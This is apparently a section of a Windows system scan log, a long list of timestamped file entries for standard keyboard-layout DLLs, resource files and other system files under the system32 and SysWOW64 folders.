2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdax2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDAL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbd106n.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbd106.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbd101.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\SysWOW64\DMAlertListener.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDSORA.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDOSM.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDOLDIT.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDOLCH.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDGTHC.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\KBDBUG.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007680 _____ (Microsoft Corporation) C:\windows\system32\kbd103.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\stdole32.tlb
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\msimg32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDYCC.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDYBA.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDYAK.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDWOL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUZB.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUSR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUSL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUSA.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUR1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUGHR1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUGHR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTURME.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTT102.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTIFI2.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTIFI.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTH3.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTH2.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTH1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTH0.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTAT.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTAJIK.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDTAILE.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSYR2.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSYR1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSW.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSP.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDRU1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDPL1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdphags.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDPASH.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDOLDIT.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDOLCH.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDNTL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDNE.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDMYAN.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDMONST.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDMONMO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDMON.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDMLT48.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDMLT47.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDMAORI.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDMACST.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDMAC.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDLV.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDLT2.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDLT1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdlisus.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdlisub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDLAO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDKURD.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDKNI.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDKHMR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDKAZ.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDJAV.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINTEL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINTAM.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINPUN.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINORI.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINMAR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINMAL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINKAN.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINHIN.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINGUJ.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINDEV.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINBEN.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINBE2.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINBE1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDINASA.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDIBO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHU1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHELA2.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdhebl3.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHE319.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHE220.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHAW.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDGTHC.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDGR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdgeoqw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdgeooa.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdgeome.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdgeoer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDGAE.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDFTHRK.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDFR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdfar.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDEST.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDDZO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDDIV2.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDDIV1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDCHER.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBULG.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBUG.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBLR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBHC.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBGPH1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBGPH.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBE.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBASH.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDAZST.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDAZEL.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDAZE.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdarmty.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdarmph.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDA3.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDA1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbd103.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbd101c.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbd101b.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00007168 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbd101a.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006948 _____ C:\windows\SysWOW64\kanji_1.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00006948 _____ C:\windows\system32\kanji_1.uce
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDVNTC.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDURDU.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDUK.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSORA.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDSN1.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDRU.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDOSM.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDOGHAM.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDNO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\kbdnko.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDLT.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDKYR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDIT142.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDIR.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDIC.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHEB.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHE.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDHAU.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDGEO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDFO.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDFI.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDFA.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDDV.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDDA.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDBU.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDARMW.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDARME.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006656 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDA2.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00006144 _____ (Microsoft Corporation) C:\windows\SysWOW64\KBDIT.DLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00005632 _____ (Microsoft Corporation) C:\windows\SysWOW64\wow32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00005632 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmdrmsdk.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00005632 _____ (Microsoft Corporation) C:\windows\SysWOW64\shimeng.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00005632 _____ (Microsoft Corporation) C:\windows\system32\wmi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\normaliz.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\msidntld.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00005120 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdatsrc.tlb
2017-03-18 22:58 - 2017-03-18 22:58 - 00005120 _____ (Microsoft Corporation) C:\windows\system32\msidntld.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00004675 _____ C:\windows\SysWOW64\wsmanconfig_schema.xml
2017-03-18 22:58 - 2017-03-18 22:58 - 00004675 _____ C:\windows\system32\wsmanconfig_schema.xml
2017-03-18 22:58 - 2017-03-18 22:58 - 00004608 _____ (Microsoft) C:\windows\SysWOW64\WEB.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00004608 _____ (Microsoft) C:\windows\system32\WEB.rs
2017-03-18 22:58 - 2017-03-18 22:58 - 00004608 _____ (Microsoft Corporation) C:\windows\SysWOW64\security.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00004608 _____ (Microsoft Corporation) C:\windows\system32\oleaccrc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00004453 _____ C:\windows\SysWOW64\odbcconf.rsp
2017-03-18 22:58 - 2017-03-18 22:58 - 00004096 _____ (Microsoft Corporation) C:\windows\SysWOW64\ws2help.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00004096 _____ (Microsoft Corporation) C:\windows\SysWOW64\user.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00004096 _____ (Microsoft Corporation) C:\windows\system32\defragres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00004014 _____ C:\windows\SysWOW64\xwizard.dtd
2017-03-18 22:58 - 2017-03-18 22:58 - 00003666 _____ C:\windows\SysWOW64\sysprtj.sep
2017-03-18 22:58 - 2017-03-18 22:58 - 00003666 _____ C:\windows\system32\sysprtj.sep
2017-03-18 22:58 - 2017-03-18 22:58 - 00003584 _____ (Microsoft Corporation) C:\windows\SysWOW64\TpmCertResources.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00003584 _____ (Microsoft Corporation) C:\windows\system32\wlanutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00003317 _____ C:\windows\SysWOW64\sysprint.sep
2017-03-18 22:58 - 2017-03-18 22:58 - 00003317 _____ C:\windows\system32\sysprint.sep
2017-03-18 22:58 - 2017-03-18 22:58 - 00003072 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_8.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00003072 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlanutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00003072 _____ (Microsoft Corporation) C:\windows\system32\icmp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002778 _____ C:\windows\SysWOW64\AppxProvisioning.xml
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\tzres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\tier2punctuations.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\SyncRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\sfc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\PhoneutilRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\netmsg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\neth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\msxml6r.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\msxml3r.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\msorc32r.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\mscpx32r.dLL
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\msafd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapControlStringsRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\lz32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\lpk.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\iprop.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\iologmsg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\icmp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmdskres2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\SysWOW64\advapi32res.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\tzres.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\TelephonyInteractiveUserRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\SyncRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\PhoneutilRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\PhoneServiceRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\netmsg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\msxml6r.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\msprivs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\Microsoft-WindowsPhone-SEManagementProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\MapControlStringsRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\DMAppsRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002426 _____ C:\windows\SysWOW64\WsmTxt.xsl
2017-03-18 22:58 - 2017-03-18 22:58 - 00002426 _____ C:\windows\system32\WsmTxt.xsl
2017-03-18 22:58 - 2017-03-18 22:58 - 00002307 _____ C:\windows\SysWOW64\WimBootCompress.ini
2017-03-18 22:58 - 2017-03-18 22:58 - 00002233 _____ C:\windows\SysWOW64\12520850.cpx
2017-03-18 22:58 - 2017-03-18 22:58 - 00002199 ___RS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PrintDialog.lnk
2017-03-18 22:58 - 2017-03-18 22:58 - 00002151 _____ C:\windows\SysWOW64\12520437.cpx
2017-03-18 22:58 - 2017-03-18 22:58 - 00002048 _____ (Microsoft Corporation) C:\windows\SysWOW64\winrsmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00002048 _____ (Microsoft Corporation) C:\windows\SysWOW64\rnr20.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00001820 _____ C:\windows\SysWOW64\rasctrnm.h
